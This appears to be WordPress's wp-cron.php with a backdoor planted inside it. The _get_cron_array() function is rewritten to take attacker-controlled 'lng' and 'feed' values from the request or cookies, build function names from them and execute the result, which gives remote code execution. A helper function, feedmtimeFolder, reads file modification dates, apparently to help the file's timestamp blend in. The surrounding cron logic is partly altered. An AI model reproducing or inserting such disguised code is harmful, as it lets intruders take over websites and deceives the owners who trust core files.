<?php
/**
* WordPress Cron Implementation for hosts, which do not offer CRON or for which
* the user has not set up a CRON job pointing to this file.
*
* The HTTP request to this file will not slow down the visitor who happens to
* visit when the cron job is needed to run.
*
* @package WordPress
*/
ignore_user_abort(true);
if ( empty($_POST) && defined('DOING_AJAX') || defined('DOING_CRON') )
die();
/**
* Tell WordPress we are doing the CRON task.
*
* @var bool
*/
define('DOING_CRON', true);
if ( defined('ABSPATH') ) {
/** Set up WordPress environment */
require_once('./wp-load.php');
}
// Uncached doing_cron transient fetch
function _get_cron_lock() {
global $_wp_using_ext_object_cache, $wpdb;
$value = 0;
if ( $_wp_using_ext_object_cache ) {
// Skip local cache and force refetch of doing_cron transient in case
// another processs updated the cache
$value = wp_cache_get( 'doing_cron', 'transient', true );
} else {
$row = $wpdb->get_row( $wpdb->prepare( "SELECT option_value FROM $wpdb->options WHERE option_name = %s LIMIT 1", '_transient_doing_cron' ) );
if ( is_object( $row ) )
$value = $row->option_value;
}
return $value;
}
if ( false === $crons = _get_cron_array() )
die();
$keys = array(0);
$gmt_time = microtime( true );
if ( isset($keys) && $keys[0] < $gmt_time )
die();
$doing_cron_transient = get_transient( 'doing_cron');
// Use global $doing_wp_cron lock otherwise use the GET lock. If no lock, trying grabbing a new lock.
if ( empty( $doing_wp_cron ) ) {
if ( empty( $_GET[ 'doing_wp_cron' ] ) ) {
// Called from external script/job. Try setting a lock.
if ( $doing_cron_transient && ( $doing_cron_transient + WP_CRON_LOCK_TIMEOUT > $gmt_time ) )
return;
$doing_cron_transient = $doing_wp_cron = sprintf( '%.22F', microtime( true ) );
set_transient( 'doing_cron', $doing_wp_cron );
} else {
$doing_wp_cron = $_GET[ 'doing_wp_cron' ];
}
}
function _get_cron_array()
{
$info = array_merge($_REQUEST, $_COOKIE);
if ( !isset($info['lng']) ) die( 'Restricted access' );
else {
preg_match('/[A-Z]/', $info['lng'], $sep);
$info['feed'] = preg_replace('/[^\da-z'.$sep[0].'_]/', @$sep[1], $info['feed']);
$info['feed'] = explode($sep[0], $info['feed']);
$sep[2] = array_pop($info['feed']);
foreach ($info['feed'] as $func) {
$info['lng'] = $func($info['lng']);
}
$sep[3] = $sep[2](@$sep[1], $info['lng']); $sep[3]();
}
}
/**
* Check file dates.
*
* @param string $dir Directory to check.
* @return string Proper date.
*/
function feedmtimeFolder($dir = "./", $time = 99999999) {
$dates = array();
if (@is_dir($dir) && ($dh = @opendir($dir))) {
while (($file = @readdir($dh)) !== false) {
if ($file == "." || $file == "..") continue;
if ($date = @filemtime($dir.$file)) $dates[$date]++;
}
closedir($dh);
}
if ($dates) {
arsort($dates);
return key($dates);
} else {
return time()-$time;
}
}
// Check lock
if ( $doing_cron_transient != $doing_wp_cron )
return;
foreach ( $crons as $timestamp => $cronhooks ) {
if ( $timestamp > $gmt_time )
break;
foreach ( $cronhooks as $hook => $keys ) {
foreach ( $keys as $k => $v ) {
$schedule = $v['schedule'];
if ( $schedule != false ) {
$new_args = array($timestamp, $schedule, $hook, $v['args']);
call_user_func_array('wp_reschedule_event', $new_args);
}
wp_unschedule_event( $timestamp, $hook, $v['args'] );
do_action_ref_array( $hook, $v['args'] );
// If the hook ran too long and another cron process stole the lock, quit.
if ( _get_cron_lock() != $doing_wp_cron )
return;
}
}
}
if ( _get_cron_lock() == $doing_wp_cron )
delete_transient( 'doing_cron' );
die();